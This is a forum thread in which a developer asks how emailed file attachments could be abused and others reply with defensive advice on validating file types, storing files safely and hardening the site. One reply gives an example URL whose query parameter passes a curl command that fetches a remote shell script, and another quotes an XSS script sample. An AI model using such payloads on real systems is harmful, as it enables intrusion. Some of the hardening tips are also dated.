afrayedknot's avatar

Handling security for file storage

My application accepts emails, and stores the email content in the database, and stores any attached files with an acceptable extension of image, pdf, doc etc. Any other file extensions are not saved on the server - they are just discarded.

The user is able to 'view' these files on the website.

My question is - Can anyone think of any way this creates a security risk for the files? Is there some 'attack' that someone could use to do malicious damage, by creating a cleverly crafted email attachment? i.e. something that occurs when the user opens the file?

0 likes
6 replies
rikh's avatar

Yes, there is.

That's the safest thing to think, and take all the care you can.

What would happen if I passed you a load of javascript and just claimed it was an image? Would someone be easily able to use your service to store images of 'questionable' things and use you as free hosting. Could someone exploit the way you are storing or retrieving your files to the file system to learn about that. Could they tell you the name of the file is something bad, like /etc/passwrd.

Basically, be careful when accepting files from strangers :-)

nolros's avatar

Lost written about Trojan attacks. Suggest googling it as it a worthwhile read.

However, some basic guidelines. Before you save a file i.e. when uploaded you should do all the checks isFile(), isValid, isExecutable() , isDir() etc. This will get you half way.

You should write an adapter so that user never accesses the file directly i.e. the user makes a request to read, view, etc. the code then gets the file and passes it back to the user i.e. not hard coupling from UI to any file, which requires permissions, etc

I also use UUID for directory and file names, not that it would stop a Trojan, but provides a level of obscurity.

The cheapest and easiest way to provide a level of security beyond AV, Web Content Security, Script Parses, etc. Is to create a white and black list files by mime that you allow, which is a challenge when it comes to email.

Then there are server anti-virus solutions and client (Javascript) solutions that will do a binary read to check to see if the file is of mime type, but they are basic. In the end a smart person can get around it I'm sure, but every step is another wall.

bashy's avatar

PDF/Doc(x) can include malicious embedded items but these can be forced to be downloaded (and PDFs are rendered client side in the browser).

Images are a worry since they execute on the server and PHP serves it. If you don't check for a valid image or if the image dimensions aren't bigger than 0 (with PHP) you'll have some problems.

Long as you valid the files, you will be fine. You can even turn off PHP in the directory that serves the images/files so no PHP can be executed.

1 like
afrayedknot's avatar

So I probably should elaborate a bit.

Emails come via Mandrill Incoming API - so they are parsed to me via json (including any attachments). The emails are specific to each user - i.e. user1234@mydomain.com. Any email which does not match a user is automatically discarded and never touches the server. This is a paid SaaS site.

I am checked the extension of the file given to me to see if it is in a 'whitelist' - i.e. jpg, pdf, docx etc. Files are then stored as a UUID in a non-www folder.

Files are only access via php readfile() and given to the user. The user does not have direct access to the file - (i.e. they are not stored in /public

Files are only access by the user who uploaded them. i.e. users only ever see there own files.

Have I missed anything? Is there a 'best practice' guideline anywhere?

bashy's avatar

Well, do you validate any of the files? Looking towards the jpg extension since that can include PHP code while still being an "image".

It's possible to do this sometimes example.com/images/image.jpg?cmd=curl%20someurl.com%2Fshell.php

yayuj's avatar

Security is something that I really care about about and I don't bother taking a time to study about it, then I'm going to give you some advices.

I'm not going into details here of each vulnerability because it could be extensive, but feel free, if you are really willing to protect your application.

  • Never, ever, ever, verify the files by its extension, it can be bypassed, the user can upload a jpeg file but instead it's a shell script. You can search about the Null Byte Poisoning/Null Byte Injection vulnerability. You should verify the file by its magic byte sequences. You can see the Fileinfo extension of PHP.
  • Its obvious, you need to verify the input in order to see if the user is trying to insert any kind of script as <script>alert('xss');</script>, XSS vulnerability, or any SQL clause/statement/etc, SQL Injection vulnerability.
  • Don't display the errors, even though we have the prepared statements in order to avoid SQL Injection, displaying errors can lead to Information Disclosure vulnerabity, and we have Blind SQL Injection/Error Based SQL Injection (and believe me, even if you are using mod_secure, it won't help, it's possible to bypass) and also to avoid Full Path Disclosure vulnerability.
  • Disable directory listening, it can lead to Information Disclosure vulnerabity and also leaking of files.
  • Always use the CSRF protection that we have in Laravel.
  • Disable the autocomplete of password fields.
  • Be careful calling images from your local server. When the browser requests a resource and that resource is an image, you should check how that resource is being requested, if it's really an image, if the user is able to see that file, and if it's really a file in the server. If you don't handle well how files are going to be requested it can lead to Local File Include vulnerability and/or Remote File Include. I recommend you to use an external server to store images and files, such as Amazon S3.
  • Use a HTTPS to protect the session ID during transmission and avoid Session hijacking, MITM (Man In The Middle), etc.
  • Set the cookie with the HttpOnly and Secure attributes to forbid access via JavaScript to avoid XSS vulnerability and to forbid transmission via insecure channel.
  • Avoid as much as you can Microsoft Office Document, it has numerous vulnerabilities.
  • Use X-Frame-Options header in your server to avoid Clickjacking vulnerability.
  • Use XSS Protection header in your server to avoid XSS vulnerability.
  • Avoid forms without captcha or a bot verification... spamming is bad, specially because you are going to host files.

There are many other vulnerabilities that you should be checking... then, search... and just one last thing: Don't trust user input. :)


@JefrreyWay - I think you should check your schedule and reserve a time to make some lessons about security, it's a really important subject.

6 likes

Please or to participate in this conversation.